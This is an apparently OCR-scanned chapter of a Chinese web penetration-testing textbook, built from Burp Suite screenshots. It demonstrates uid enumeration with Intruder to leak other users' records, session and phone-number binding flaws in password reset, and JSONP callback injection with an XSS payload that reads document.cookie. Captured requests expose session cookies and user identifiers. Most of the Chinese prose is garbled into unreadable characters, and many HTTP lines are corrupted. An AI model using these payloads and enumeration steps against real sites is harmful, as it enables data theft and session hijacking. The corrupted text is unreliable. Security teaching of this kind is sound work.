20", "kuaiDiFee”:"20", “orderTotalprice”: 1320

“,"passengers”: [{"passId”:"", "passType”:"0", "passlame”:"

".:"11

", “passCtype”:"SFZ18", "passCno”: %

*, “passIsSave”:"Y", “sex”:"N", “passInsureCount“:"1"

“passCID™:"", "psssCIC”:"", “psssCAT": ", "passBirth”:"
}1, "linkman”: {"linkManIsSave”: "Y", "11 "
“linkManAlPhone”:"

879793", "linkManId": "'}, "postInfo”: "} =

17:7123@321. con”, "lankManPhone”: 879793,

R o e

| 0 matches

response

raw | headers | hex

HITP/1.1 200 OK

Server: nginx

Date: Wed, 06 Nov 2013 00:16:15 GMT
Connection: keep-alive
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 77

{"statusCode”:"620", "txid": " ¥

191372013110608151933", “objData”:"620"}
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Fiter: Hiding C55, image and general binary content
Methed | URL Params | Edited | Status | Length | MIME type | Extension | T
GET ! = = 300 256253  HTML [
GET IforgetPasswordi findPas| 11851 HTML i
POST IforgetPasswordiSimpleh| Remove from scope 299 JSON
POST IforgetPasswordicheckl 343 JSON
POST MMorgetPasswordicheckl Tt 243 JEON
POST MMorgetPasswordicheckl Do a passive scan 325 JEON
POST MorgetPasswordiforgetP Send o Intruder 10216 HTHML E:
POST MMorgetPasswordimobile' 19032 HTML E:
Send to Repeater
POST MarifyiverifyPicCode.acti 42 script
. - | Send to Sequencer )

POST MarifyiverifyPicCode.acti i . 42 script
POST  hregisterigetVerificode.aq o o comparer (request) 342 script
POST  MerifyiverifyPicCode acti —oC 0 C”'"pare_r PEpons) 342 script
POST  IverifyiverifyPicCode.act| — "o rESponsein browser 342 seript
POST  MverifyverifyPicCode.act] Reduestin brawser > 267 script

I nocT PR S SET S Iy Y « Engagement tools [ LWL} i

%]13-6 1 i Burp SuiteJEH #5548 H 5%
ME13-7f17~, TEELK 45 B 45 7F Target - Site map ¥ B7~, ENCEE )G, 4 Burp
Suite[f1id JE TN RE T H i B uid S EM R, WA B Euid F4F B IHTTPIE K 2 8 Faki
K, ANEAEHTTP history B8

[ Target | proxy | spider | scanner | ntruder | Repeater | sequencer | Decoder | comparer | Extender | Project options | user options | Aterts |

i Intercept I HTTP history T WebSockets history IOptims ]

| Filter: Hiding non-parameterized items; hiding CSS, image and general binary content, matching expression uid

@ Filter by request type Fiter by MIME type ~ Fitter by status code
@ (] Show only in-scope items & HTML @ Other text & 2xx [success]
(J Hide items without responses @ Script (] Images @ 3xx [redirection]
@ Show only parameterized requests & XML @ Flash @ 4xx [reguest error]
O css (] Other binary ) Sxx [server error]
Filter by search term Fitter by file extension Filter by annetation Filter by listener
II uq I | ) Show only: | asp.aspx,jsp,php [J Show only commented items [r—
Port
(] Regex o e -
=0 S [J Show only highlighted items
(] Case sensitive [ ] Negative search O Hide: is.gifipg,png,css
I Show all Hide all

F13-7 3ok € A A uid g SR
WK 13-8f 7, 1E1E R EuidZ 5 B AL &



GET finter php? % d%22%3A48151968... ] ] HTHL php
GET finter i i 43151969... @ g 20 1338 script php
<V < 7

Request | Response
Raw | Params | Headers | Hex

GET finterface/jsonp: ice.php?client=! thod=video. getUserVideoRecordListé&cb=callback &data=%7B%23uid %22%3A48151969 % D&0.78431989696815 HTTP/1.1
Host: (i 45151289)
Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1 \ EfaFui
User-Agent: Mozilla/5.0 (Windows NT B.1; WOWE4) AppleWebKit/537 36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537 36

Accept: text/html application/xhtmi+xml application/xml;q=0.9 image/webp image/apng */*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8 en;q=0.6

Cookie: PHPSESSID=mdqjopBeeppv7tk7fodkgkarr!; userSeqld=48151969; verifycode=token-3b983a94-038d-4340-8f11-alfacdb03132-DE57 152438516D35F 193F CBEID211DEG-0700dcfc-caff-4847-b04b-33a188d838dd

K113-8 & firuid Z i H B B
AR WE13-9FTR, AN N HTTPIE R KN 2 S A EEXER. H
HTTP TSR ZHERA TR DISE I 25X ANE R T BE, method ZHUEN
video.getUserVideoRecordList, 1FFZZKPO R uid AR B P seic 5%, Hma R o 25
Al AR E

Request
Raw | Params | Headers | Hex Raw | Headers | Hex

GET I HTTP/1.1 200 OK

finterface/jsonp/senvice. php?elient=3&method=video.getUserVideoRecordList&ch=callback &data=%7 B%22uid r Server: nginx/0 8 54

%22%3A48151969%7 D&0.78431989696815 HTTP/1.1 Date: Sun, 06 Aug 2017 07:17:10 GMT

Host: Content-Type: text/html

Cache-Control: max-age=0 Connection: close

Upgrade-Insecure-Requests: 1 Vary: Accept-Encoding

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWB4) AppleWebKit/537 36 (KHTML, like Gecko) Content-Length: 1035

Chrome/59.0.3071.104 Safari/537.36

Accapt: text/html appli V/xhtml+xml application/xml; =0.9,image/webp image/apng ** =0 8 callback({"code":0, list":[{"uid":"48151969","v_id":"1626676",'vi :"37125331d-iﬂd-ﬂhln‘-aiﬂd-ﬂlcq:'}

[Accept-Encoding: gzip, deflate edd9e”,"positios . Vv 87dc3eld 111, 42cldeeddde.h

[Accept-Language: zh-CN,zh;q=0.8 en;q=0.6 tml”,"client”™:"4™|"ip"{"117. 5% = 38", "playtime™:"1467423887 ","clienttype™’ ","titl

Cookie: PHPSESSID=mdqjopBeeppvitk7fodkagkarr; userSeqld=48151969; g";"A"

verifycode=token-3b383a94-038d-4340-8f1 1-a1facdb03132-DES7 1524385 16D35F 193F CBEID211 DEE-0700dcfc d&#039;&q img&gt;","length":"20","videoimg™: "http:V\/ - o Vithu

-caff-4847-b04b-33a188d838dd mhv2!l16vﬂ1v02vﬂ§\/87dde1d -111d4b40.a58d-142c14eedd9e-thumb.jpg}.{ “uid“:"48151969","v_id":"

Connection: close 1626029",\vi 5fd226cd0448d68161dcac52099f3e” | "position +“http:VV
2016\/07V01\/VIDEQBIZnM5VIIP3L hbsfsyn160701.shtml”, "cli 20. 186", "playtime™:
"1467421319","clienttype™1,"clienttype1”,"0", "title™:"| ea7\u65h0 573a]\uT eaa\usf
5efa\u515a9! 5e74\ufft 277 ea2\uB272\ubc14\udd28
\u6c38\uB446\u515a\u5458\u672c\uB272","length™:"96.00", "videoimg": “hitp:\\\ - Jfms
picv2016V07V01V4 e5fd: 10448d68161dcac52099f3e 51.jpa" )

K13-9 A 75 0T B 1 1 =R A )i
HTTPH AL & — Lo fUs5 2, WME AR fJip  #ibk. #R4d. ARSI bR 4 .
WE13-9f7R, &—Atitlefl)fE NALl  Polished& # 039; &quot; &lt; Vimg&gt: , TENIH
2% I¥) consoleZ¢ i i i document. write PR AT i far i /5, /S 2IALL Polished</img, 4&13-10
Fizm o
WEN3-11F7R, tide FE AR T 27 0e b A7 beas, mT LRI e 42— 3.



All Polished'” </img

& 4 Elements Console Sources Performance Memory Applicaf]

© top¥ Filter Errors . §
© Failed to load resource: net::ERR_FAILED
» document.write("All Polished&#839;&quot;&1t;\/img&gt;")

undefined

P 13-10 f@fdma v o titleE

ESFE

b

RINBLT AEEE

411 Polished’ “</imgl-

= 2&%00:00:00
{EAE: H075020 09:44

Kl13-11 5 17 L FE ol st AT s
W= WE13-12F7~, BHTTPIE R K iZFIntruder, W E G UM 7 A&, 3
A7 3 3 A

GET finterface/jzonp/service. | lid%22%% 244

GET finterface/jzonp/zervice. g http:/ | A4E131960%TDED 8431989656815 id% 2205344

GET finterfacefjsonp/service.f  Add to scope id%22%3A4

GET finterface/jonpieervice.f  Spider from here id%22%3.04

GET finterface/jsonp/service.] Do an active scan id%22% 344
-t - Do a paszive scan

e T
J - T EEPIES end o Hepeater Cirl+R
_[ Rawr T Params T Headers T Hex 1 Send to Sequencer

. Send to Comparer (request) }

GET finterface/jsonp/senice php?

ol BY%22u

i

K13-12 &% 3| Intruder
nE13-13fT~, BATEE G UM E T N &,



TPmyTSpberlScannerImIRemlSemnnuerIDemderICmpnrerTEmﬁerImdqunrmmlAlens]

| | Postions. | Payicas | optins |

Payload Positions

Configure the i where pay will be inserted into the base request. The attack type determines the way in which pay are i to payload it -

Attack type: | Sniper

GET finterface/jsonp/senvice. php?client=3&method=video. getUserVideoRecordList&cb=callback &data=%7 B%22uid%22%3A481 5§1m§' 7D
Host:

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWB4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/g67.36
Accept: text/html,application/xhtmi+xml application/xml,g=0.9 image/webp image/apng */*,q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8 en;q=0.6

Cookie: PHPSESSID=m4qjopBeeppv7tk7fodkgkarr!; userSeqld=48151969;

verifycode=token-3b983a94-038d-4340-8f1 1-a1facdb03132-DE5S715243B516D35F 193F CBEID211DE6-0700dcfc-caff-4847-b04b-33a188d838dd
Connection: close

K13-13 B &
W& 13-14F17~, ¥ & Payload 40000~9999 1%+ .

Payload Sets

®

You can define one or more payload sets. The number of payload sets depe
can be customized in different ways.

Payload set. | 1 'I Payload count: 10,000

Payload type: | Numbers '3 Request count: 10,000
@ Payload Options [Numbers] 1. #®iF

~

e T 2L
This payload type generates numeric payloads wthagxleoamrrﬁiM al

umbers
umber range
Type: @ Sequential () Random
From: 0000
To: 9999
Step: 1 5 1£§AET?*
B, #
How many:
Number format
Base: @ Decimal () Hex
o oot |7 3. WESFL
in integer digits: ’ s
hafs

Max integer digits:

K]13-14 ¥ & payload
% & 5¢Payload /5, i “Start attack” %41 B o] - 43 77038 o
IRV 3 #7 Intruder HIMAEE R, AAAEXTRIAT uid B, RS2SR IEl codey-201
B Ns AFLERT, IR [E I N 2B ip" Gt X515 ) XA R, DLk Rt H Al o
ER, WEN3-157R.




E Intruder attack 1

Aftack Save Columns

S A8 K=

_nget | Positions | payioaas | options ]

Fiter: Matching expression "ip”

3| Fitter by search term
| & ==

er by status code

Filter by annotation
N

W -4 @ 3xx [redirection] [J Show only commented items
(J Regex @ 4xx [request error] () Show only highlighted items
[0 Case sensitive [] N: search @ Sxx [server error]
5 )\ Juf':iﬁi_t R Efu BB IR
[ Show all ] Hide all |

@ 2xx [success]

WE13-16f17~, FILLE R
FA 3t [ AR T o

K13-15 XfInterderss $ k473 I8

LUESE K, BRARIOCRITER, BRI

‘ Fier: Matching expression "

Request | Payioad |smu: |Emor | Tmeout |Length | “emor a | Comment
2 uoul a g on a
4 m a a 706 a
5 0004 200 a @ 4ss2 [=]
3 0005 200 a Qo 87 a
7 0008 200 a ST a
8 0007 200 a Q 4em a
9 0008 200 8 O sest a
10 0008 200 =] o 12 a
12 0011 200 (=] g sme a
14 0013 200 a a ums a
17 0016 200 a O 4857 a
18 0017 200 8 a 4270 =]
J‘m | Headers | Hex

HTTP/1.1 200 OK

Server. nginx/0.8.54

Date: Sun, 06 Aug 2017 06:51:28 GMT
Content-Type: text/html

Connection: close

Vary: Accept-Enceding
Content-Length: 540

callback({"code™0,"list™[{"uid":"48690003","v_id"™ ‘1725109 vid™
client™:™1","ip™:"21 & 85", "playtime™: "1470576473","cli ™21, "cli

"cd6caech88aed60, eSﬂZdaB c047951","position™:

\us7" 176\u96

11", "length™;"4510.00", "videoimg™: "http: /)

17707, itle ™
160807V cdl

432", "pageurl™  http:
1a]\u5973\u5h50\u7bee\u7403 \u‘JBﬂl\u&ﬁh

V20160807 VVIDEDkn9t6MbbvPTH7 nTcFsY160807 shtml™,"

2cfafdc047951-2230.ipg M}

13.2.3 155 s

fESession A7 it 4 BT FH 7 ) 4%

AR BB N2
13.3 2 F H 2 508 i
13.3.1 03X Ji BN 7 v

fe e

Kl13-16 #iiA IR

R id,

HAENE

R 1dSHH 5 Session 1 1] —

MR P25 A, IS SRS . BRI RS . BSOS BLTE 3K FAL

ﬁ&%ﬁﬂm%ﬁﬁ%XF IR B SUE TS BRI R R G AOE NS 2, MR



BESCR RS CIE e

13.3.2 Mt F2

WME13-17f7R, BB WAEKSB, HPAEIKSA. B IK 5 AT #6540
BfE, IRSHAKS A MEFEEE FIUEHEMEEE S, BGh#H ARSI
T, I I R R AR SRR A I A R AR X MR, R SR AR R
M HIISAE B FAVEEON A . R RN E EE R, WAAERN.

WEKEL

Hih & (@)

o&#

m &~ AP
4 ]
HkEAWTTER
“ L=
A 4
BEREkSAm
FHEBREES
WEH LN 2]
v
HAHBEDEE
RN, ke
J HRE
Burp Suitelll
. BRERGE y
BAKEBHFN »
o B 3
v
wusnARsy (o g RRTKE A ROANS
wREE 2 [Co= kel s T T T

FE[13-17 5 119 A 2 MO e A A

U” AL FHLApp R4 N1 .
o WE13-18fr7x,  FERE A 96 LAY UL T B o R A3 R N U e 2.



« » @ e - Q" B c|® B 5= crin P G O~ @ - &~
= | = e sQu- xss Encryption- Encoding: Other-
& Load URL -
& splitURL +
Y Exeaute
] Enable Postdats | Enable Referrer
O REEES
SIS L

BEEEF41186**** 8 193 41X R 2R IIrFSiE

5, HFER
& ‘- § @ & P Go B JSESSIONID=BBOAF7DOFCISFFOAI7BECCIABCO00%63  Fiddler: Dissbled & @

113-18 K& I UERS {8 H Burp SuitedlL

U WE13-19FT, 7EAEEE TP param.telno S 5 (38 KIZEFHL5E) &
SO HARFHL S5 .

burp intruder repeater window about
target i spider rscanner rimmder rmpeaw rseauenoer rdecnder rcomparer roplions ralens
1 2 34

—

request

raw | params | headers | hex

X-Requested-With: EKMLHttpRequest -
Referer: http:// ‘pages/login/comebeakpwd. jsp
Content-Length: 10

Cockie: JSESSIONID=BB91FTD9FC96FF0A3T8ECC31BC000963

Cormection: keep-alive —
Pragma: no—cache
Cache-Control: no-cache

Ik

aram. telno=186 )3} param. sxt ime=360]

-

| 0matches

N = e |
response

raw | headers | hex
HITP/1.1 200 0K =
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8

Content-Length: 10
Date: Thu, 12 Dec 08:15:18 GMT

1, 84CDB57 1-7T1ED-64B3-80F1-6D5E88B3F191 —

-

L] ez [ | 0matches
[done length: 182 (4,383 millis)

&]13-19 Burp Suitef& 2 2 3l
IR = WE13-20f7, ABXUE BT 2 AL S CEIAE RIS RS R




= & 24K/s i Sl @ 14:44

. S (562) @

ERFEHL IR 155,

EHRIFH S s
RIERIEE R - 857961,1E#360
PRESR , JHEEHR<LIRIPE
HIEEEEHD.

E13-20 #aiA R A

13.3.3 (&5 s

(1) & ihSession A7t B B FEIE, I, B RER IS E S+, M
SessionIREUH F AL UE T AN & N PG SR S0 3R EL .

(2) WNE P AEIRECTFHLS . BEAHSEIK 558, 25 Session HAIFEIEREATXI L,
S b J5 4 SR VFREAT Mk S5 R AT

13.4 F2 AR AT 7] /1 FH
13.4.1 IR S A 7 7k

TEIER WSS, BURThRERIEE: 1 7 X7 W 38 1 S AT I0E, 30 UE 5 A e Vi
B T EAE . IR BUR D REE A SRS, B B T S B S B AT O
PO T . B2, AT LAE I Burp Suitef/E AHTTPACHE, 7E& IR Nid
ST VE SR NS S, I UK ThRE . IR BIUBEHRE 15K . TERBSFZMIHH T, £
FH D0 WG 2% U 13D 6 L BBUBR T RERTE SR, SR [F s 5 B RS/ — 8 AR R B
BRPE

13.4.2 IR F

N 13-21 R, Bk #HENRET, {4 HBrup Suitef)JI€ H Iy REXT Wil EATICHL, Jdid
MIME  Typeffiiit t 58 FAHRAITE R, X% 5 AR — N8 KRBT HI R 53 & U
Bo WEREEHURER, ARG RURLBIRIAT S MR G T U5, AR U5 ik
8] 2 B BURAE S, WIAAAERTR -



B&#H

é

8 FHBurp Suite Mk
BISRERH
[[3:0

A

A
i & T E

TIypeHjson~

script » xml

text BTk

EHRLBIRIHTE
RIS

FeEUEEORERH
iel&EA

fFEEORERN
BlEHE

F13-21 e AR ALY i) R AR K
PR BXEMHBurp  Suitef)€ i DjRE, ME SOGEM HR (—BONMEER H
%) JFAARIEHEL, fEHTTP  historyii-R g h 2GR IC B I, A fEtik £ “Spider  from
here”. JEHL )45 2> fETarget - Site  mapH &7~. WE13-20f17~, fENCEGEEES, (1A
Burp Suite[JMIME typeid JEDRE, Jiidk 4z DAHCHIHTTPIE K, 25 5% json. script.
xml. text MIME type%.



[angel TMT Spider T Scanner T Intruder TRepenkr T Sequencer T Decoder I Comparer TExlendef I Project options T User options TAlerts 1
| Intercept I HTTE history | WebSockets history | Options |

l Filter: Hiding unresponded items; hiding HTML, CSS, image, flash and general binary content, hiding specific extensions

@ Fiter by request type Filter by MIME type ~ Fitter by status code

@ (] Show only in-scope items [J HTML ) 2xx [success]

| @ Hide tems without responses | T (] mages @ 3xx [redirection]

(L] Show only parameterized requests & XML Flash [request error]

O css O othe \Z‘s,:x\[sh-@
\ HATMIME typeff)id i

Filter by search term Fitter by file Filter by annotation Fitter by listener

I (J Show only: | asp,aspx.jsp,php (] Show only commented items —

Port
& Regex I o Hide: 15.0i7.99,pNg,CSS | [J Show only highlighted tems

] Case sensitive ] Negative search

Showal | | Hideal

&]13-22 XMIME typeit 17 id i€

DR E12-230R, W DARIIERETEE, RN S0 EHEER

BURER, W NG, [Pk, POBRGZEF. Wb idsk. BOiE. TS EREEE
IS

GET | finterface/jsonp/service.php?client=
POST /setprogam.php?a=update
«¥ o~

[ Raw | Headers IHex]

Content-Type: text/html

Connection: close

Vary: Accept-Encoding

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post+ =0 prg-check=0
Pragma: no-cache Fﬁﬂﬁit = %
Content-Length: 484

.getUserVideoRecordList&cb=callback&data=%76%22uid%22%3A48151969.. | ([
@

callback({"code™0,"list™:[{"uid":"48151969","v_id™:"1626676","vid":"87dc3e1d-111d 4b40-a58d-142c14eedd9e", position™: "0’

nt™:"4" [fip™™17.°% = 38"|"playtime™:"1467423887","clienttype™:"1","clienttype1”:"0","title ":"All
Polishe d&F039;&quot; &IF,Vimg&gt;","length™:"20","videoimg™:"http:\\y - Jthumb\f2016V07V02V09W|

K13-23 A AL & U EWHTTPIE K
HiEEEWNAREAEE, 7 uﬁfﬂLEﬁﬁ@/“@z@? S8, wniphhb. MAE D
SRR R, IR E BR] DL TR AT B R R
W= nE13-24FT, K 5E B ﬁ*URL”EﬁﬁUEUfﬁﬂiE’JM'*%ﬁﬂP TERGU

[ SLURL TN 28 QR BENEIR M URAE B, WMBERIRTR AL R 28 SRR IR R A4 Bt
VilAl, WAL o



| loadURL RS finterfac P -phpiclient: d=video.getl i i = BI622uid%. 43151969%7D80.78431989696815

callback({"cade™:0,"list":[{"uid":"48151969","v_id":" 1626676, "vid":"87dc3e1d-111d-4b40-a58d-142c14eedd9e”, "position™:"0","pageurl”:"http:\/\/ Vv-87dc3eld-
111d-4b40-a58d-142c14eedd9e.html”,*client™:"4" *ip":"117. .38","playtime*:"1467423887","clienttype™:*1","clienttype1™:*0","title":"All Polished"
<\/img>","length™:"20","videoimg™:"http:\/\/ \/thumb\/2016\/07\/02\/09\/87dc3e1d-111d-4b40-a58d-142c14eedd9e-thumb.jpg "))

K13-24 K EFRE R U5 M URL

FEARFEAT G R I e 2% L, REWS ELIEIR (A% S URL R 5T 7 A4 10 G 206 UE 3 S 4, U
PR AFAE 32 R BALY 7] RI ] o

13.4.3 185 ##

(1) KHTokenk 31 520, FEurlH i —TokenZ 4, A Token ikilid A4 &
[5]4% 11 804 H. Tokenfii FH — K J& 2 2%

(2) fERCH AR, JEumxt S 1PIRSHATIONE, WROLES, MiREE O
s wRABTF, WHREEE X RE R,

13.5 Callback F & X i

13.5.1 IS H2E AN 7 7%

FE U8 2% PAEAEAE [FR SN, Pril RIS fe A . Pl sm HAER . B Ajax 7P
FER AR, JAERIRE A B AR RS g — it )75 /2JSONP (JSON  with
Padding) , FEAJFEHER A 7HTML B <script></script> TG & RS, 1 FE I FHISON Sk
SEELEHREAL IS . JSONP $iAR A — i f# ] Callback ([R1H A% Sk A B [l I B4 FH 1)
B, XEAAAAEZ NS, WA H A4 57T BR i Callback ) p& £
%, SEIEEE T LLE & X Callback N 7%, MM it & XSSZFiH «

13.5.2 IR F

WE13-2507r, i HAEMRART, 8 Brup Suitef /€ gt THAREXT WY b HEAT ICHL, ik
7 A Callback 8 jsonp Z AL 115 3K, XA =K M B [¥) Content-Type £ 47 #IWr, W15 Content-
Type Ntext/html, WFEAT T —2, 4235 B X CallbackZ #7550 #r, 40k CallbackZ %k
RVFBEE NHTMLARZS, A7 AE I -



BRE#E

é

5 Burp Suite A
FGIRERH S
JERR

A

Y

ihi ik s Callback
SHMEK

Ei&FIRepeater

CallbackZ#

FifEcallbackBEX
FESST a—

=:H

A 4

E

|

frircallbackEEX
H

13-25 CallBackilj izl i 72 I
WR—: WE13-26fT7~, i HBurp SuitefJICHINRE, ME ST HZE (—F M
ViR H ) FFRICHL, 7E HTTP history &+ ik sp B IGICHUA I, A58k HE“Spider
from here”.
WE13-27F7R, TCHLR 45 5 4 #E Target - Site map™ . 7ENCHUGEEE S, FRALH
Burp Suite[¥Jid #E TN HEFE #4545 Callback S HU 0 5E8E, WE13-28f171



| Method | URL | Params | Edted | Status | Length | MIME type
GET 1 - 1 200 189918 HTML
GET Istockpick/intelligent http:iiwww » com/ 55451 JSON
GET Istockpick/get-suggest-a¢ Remove from scope 828 JSON
GET fuser/modules-auth 995 JSON
GET flog/my?info=qs%7Cind 475 HTML
$ - S VY noa passive scan ;3% s:;m
T gt sosorin Sl D e
ern ike_show s
- Send to Repeater Ctrl+R
GET fuser/modules-auth St 965 JSON
0 nce
GET Isearch?typed=08prePar Shquancas 50158 \_HTML
GET Ipublic3070/js/DatePicker] —cne to Comparer (request) 8929 Script
- Send to Comparer (response)
Show response in browser
@ Response Reguest in browser >
Engagement tools >
M Params T Headers | Hex |
Show new history window
> N
K113-26 MM H ST 45 TR HL
P"“’TWTm]m]“’“‘”IWIWTW'“IMIWWIUWMI‘“]
Scope
ebTe Mﬁnum tems; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders
« hitp:hwwy -um Contents
‘uemou ium_ ‘Pum'n | status | Length ||n£wpe Aim
GET lexternjs3070/yike_edit js. Q 200 133629 script
GET lexternjs3070yike_show js o 200 78780  script
GET lexternjs3070/yike_subject js o 200 30180 script
GET lexternjs3070/yike_user.js (@] 200 69482 seript
GET Tflog/my7in fo=tidistockpick%E 3%80%8&1 ctihe... 200 469 script
GET Ipublic3070/js/DatePicker/WdatePicker js o 20 2004 seript
GET Ipublic2070/js/DatePicker4. 8/WdatePicker js [~ 200 10774 seript
GET Ipublic2070/js/excanvas.min.js o 200 19942 script
GET Ipublic3070/js/src/plugin/siider js o 200 9132 seript
GET Ipublic3070/js/weibo.js o 200 5355 script
GET 200 13258 script
GET Japil o 200 495 text
' GET Irobots. bt a 200 714 text

F13-27 V) #3|Site maphps il

’ Filter: Hiding out of scope and not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

@ Fiter by request type Fiter by MIME type Fiter by status code olders
¢ Y ur
@ Show only in-scope items @ HTML & Other text @ 2xx [success] }Hiﬂe empty folders —L
(J Show only requested items & Script [J Images @ 3xx [redirection] 1, ifﬁiﬁi
(L) Show only parameterized requests @ XML [ Flash () 4xx [request error]
Hide not-found tems O css [ Other binary @ 5xx [server error]
Fitter by search term Fitter by file i Fitter by
| l sy I | & Show only: | asp,aspx.jep,php [J Show only commented items
(J Regex - . ;
- Popp—— ([J Show only highlighted tems
(] Case sensitive [] Negative'§earch I thecs s.9if.pg,png.css |
2. TERAMERA KRR

w
w i 3. AEFIE, [Rs. gifFiEt
Showal | | Hideal ol ?i_

F&13-28 {5 F callback 5 £ i) 3347 1ot g

RN REE 2 5, g E13-28F S 1A B B T iE i e AR . BB
13-29F17~, #KEIURL A callbackZ £ 1) 542



Contents

| Method ‘ URL ‘ Params | Status | Length | MIME type
GET Nlog/my?info=tidistockpick%E3%80%81ctihexinmobile%E3%80%81ts|1%E3%80%81 cidi%E3%80%81qid|%. .. (] 200 469 script
GET Iwaplwencai-query-favorites?querytype=stock&type=getallfuid=2567875638userid=256787563&usertyp... /] 200 13258 script
PLo .. Z

Request Rmpnnsel /‘
Raw I Params | Headers | Hex /

GET L;
/log/my?info=tid|stockpick%E3 %80%8 1ct|hexinmobile%E 3FoB80%8 1ts| 19%E3 %80%8 1cid| %E3 %B80%8B 1qid| %6E3 %B0%E 1uid|39982

1335%E3%80%8 1w| %E3%80%8 1rw|%E3 %80%8 1qs| gx_ij# _index_wap%E3 %80%8 1jsonStrLog| {} %E3 %80%8 1Referer| http%
3A%2F%2F %2F%E3%80%8 1mts| 14977 ¢ 26%E3 %80%8 1platform|gphone%E3 %80%8 1packversion| %E3 %80%8
1tjid|m_tipList_wap2E3%80%8 1DestinationURL|http% ¥ %2F %2F %2F&logN ame=pick&qid=&userid=399821335

uisertype=m&_= 14977603264 18Ricallback=jsonp1 HTIP/1.1
P13-29 52 {7 #| callbackZ 41 &
IR = BEURLXMHTTP  Responsel]Content-TypeS & 5 Mtext/html. 415
Content-Type Ntext/html, FATH AN FKITHTMLERZE A S 4 00 W 22 i b 1 12-3017R,
Content-TypeZ& & Jytext/html, F5%f B [{]1% K K 1% 2| Repeater, 442258

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 18 Jun 2017 04:32:10 GMT

|Content-Type: text/html:charset=utf-8| |

Vary: Accept-Encoding

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, dgst-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

X-Cache: MISS from

X-Cache: MISS from cachesq4

Via: 1.1 juid/3.5.20), 1.1 cachesqg4 (squid/3.5.20)
Connection: close

jsonplQ

K113-30 M %<0 5 [ Content-Type

LYRI: WPEI13-317K,  #if callback B4 A APAEILIE KT 1%, XI5 ZAE
callbackZEUE AT IE N — L SCARKRHTMLARES , A EH 8 H scriptbr 25 2 18 fowaf 55 b5 47
BRI o A 1IX B Ad FH T HTMLAR S A2 — b bR % <h1> .

WIE13-32F17~, HR¥EResponself) N ZE, FATTH LA T fif Bl callback S FUAAFAE L 98 S m]

o BNk BlinfoZ HUk Response F1 4 tH N & A S2M, MR finfoZ %, Kfi
URL.




[ Lo | spie s [ it oo | | crpre | i st s | v e e |

val

tGDl Cancel l(\'Jl)‘J

Request Response

Raw | Params | Headers | Hex | Raw | Headers | Hex
GET l; HTTP/1.1 200 OK
/log/my?info=tid|stockpick%E3%80%8 1ct|hexinmobile %E3%80%81ts| 1%E3 %80%8 1¢ Server: nginx
id| %E3 %80%8 1qid| %E3 %80%8 1uid|399821335%E3 %80 %8 1w| %E3%80%8 1rw| %E3 Date: Sun, 18 Jun 2017 08:21:47 GMT
9%80%81qs|gx_ ndex_wap%E3 %80%8 1jsonStrLog| § %E3 %80%8 1Referer| http Content-Type: text/htmi;charset=utf-8
%3A%2F%21 %2F%E3%80%81mts| 14977603 26%E3%80%8 Lplatform| Vary: Accept-Encoding
gphone%E3%80%8 1packversion| %E3 %80%8 1tjid|m_tipList_wap%E3%80%81Destinat Expires: Thu, 19 Nov 1981 08:52:00 GMT
ionURL|http%3A%2F %2F %2F8llogN ame = pick&qid=&userid=3998213 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
35&usenype:m&_:1497760326418mmm.1 Pragma: no-cache
Host. Vary: Accept-Encoding
User-Agent: Mozilla/5.0 (Mindows NT 6.1; W64) AppleWebKit/S3g36 (KHTML, like X-Cache: MISS from
Gecko) Chrome/57.0.2987.110 Safari/537.36 X-Cache: MISS from
Accept: */* | Via:l.l (squid/3.5.20), 1.1 (squid/3.5.20)
Referer: Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 <hl>Test</h1>jsonpl()
Cookie:

13-31 ik callback 2 /& 75 v 44

GET E HTTP/1.1 200 OK
/log/my?|ogN ame=pick8tqid=&userid=3998213358wusertype=m&_=14977603 26418 Server: nginx
&callback=<h1>Test</h1>jsonpl HTTP/1.1 Date: Sun, 18 Jun 2017 08:28:05 GMT
Host Content-Type: text/html;charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Vary: Accept-Encoding
Gecko) Chrome/57.0.2987.110 Safari/537.36 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept: */* Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Referer: Pragma: no-cache
Accept-Encoding: gzip, deflate, sdch Vary: Accept-Encoding
Accept-Language: zh-CN,zh:q=0.8,en;q=0.6 X-Cache: MISS from
Cookie: X-Cache: MISS from
user= za3k3aW400jpOb25I0juwMDo0MDk4MjEzMzU ENywxMTEXMTExMTExM S | Via:ll (squid/3.5.20), 1.1 wz238 (squid/3.5.20)
WOMDsONCwxMSwOMDs 2LDESNDA7N SwxLDQwOjo60jM50TgyMTMzNToxNDk3Nj Connection: close
A1INDIxOjo6MTQSNzYWNTQWMDozNDI 1Mzc5OjA60 GE3OGMzYWNKNGNhNDg2M
GNKZjYOMGY2NTQwWM GRKZDc6ZGVmY userid=399821335; <h1>Test</hl>jsonpl()

K113-32 ¥ i JRiF URL
SR TL: WE13-33f7~, FfcallbackS 0 5 e pli iy A % AT N HIHTMLAR S, HEATH]

og/my?logName=pick&qid=&userid=399821335&usertype=m&_=1497760326418&callback=|<img onerror=alert(document.cookie) src=x />lsonp1

cid=jgm92iribvnnh9piciaBuntnd41497450384; ComputerlD=jqm92iribvnnh9piciaBuntnd41497450384;
PHPSESSID=e1e9lqgkd46875dab9m1bu5k836

K113-33 #iA s

13.5.3 2 # i

(1) f4%5E L HTTP WM AH[] Content-Type N json #(#E#%3: Content-Type:



